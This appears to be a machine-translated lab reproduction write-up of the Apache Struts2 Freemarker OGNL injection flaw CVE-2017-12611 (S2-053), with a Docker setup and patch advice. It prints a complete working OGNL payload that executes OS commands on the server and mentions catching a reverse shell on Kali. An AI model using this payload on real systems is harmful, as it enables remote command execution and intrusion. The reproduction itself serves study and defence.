ApacheのStruts2のFreemarkerのラベルリモートコマンドの実行_CVE-2017から12611(S2-053)の脆弱性の再現性
まず、脆弱性の説明
OGNL解析式を可能にしながら、Struts2のFreemarkerのモジュールエンジンを使用している場合。ユーザが入力したデータ自体につながる解決をOGNLのではなく、原因一方は発現が任意のコマンドが実行される脆弱性につながる、OGNL二度目に解析されなった後Freemarkerのが去る解決されます。
第二に、欠陥がバージョンに影響します
Strutsの2.0.1-ストラット2.3.33
Strutsの2.5-のStruts 2.5.10
第三に、脆弱性環境が構築します
1.建築環境のドッキングウィンドウを使用します
第四に、脆弱性の再現
1、スタートアップ環境
2、ブラウザアクセス
POC次のように:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} 注: 执行命令的地方在于(#cmd=’id’)
3、查看用户所属组
4、反弹shell,把shell反弹到kali上
5、在kali 端开启监听,可以看到成功获得目标反弹过来的shell
五、漏洞防御
1、 Apache Struts版本最新版本
2、 Freemarker标签不要通过Request方式获取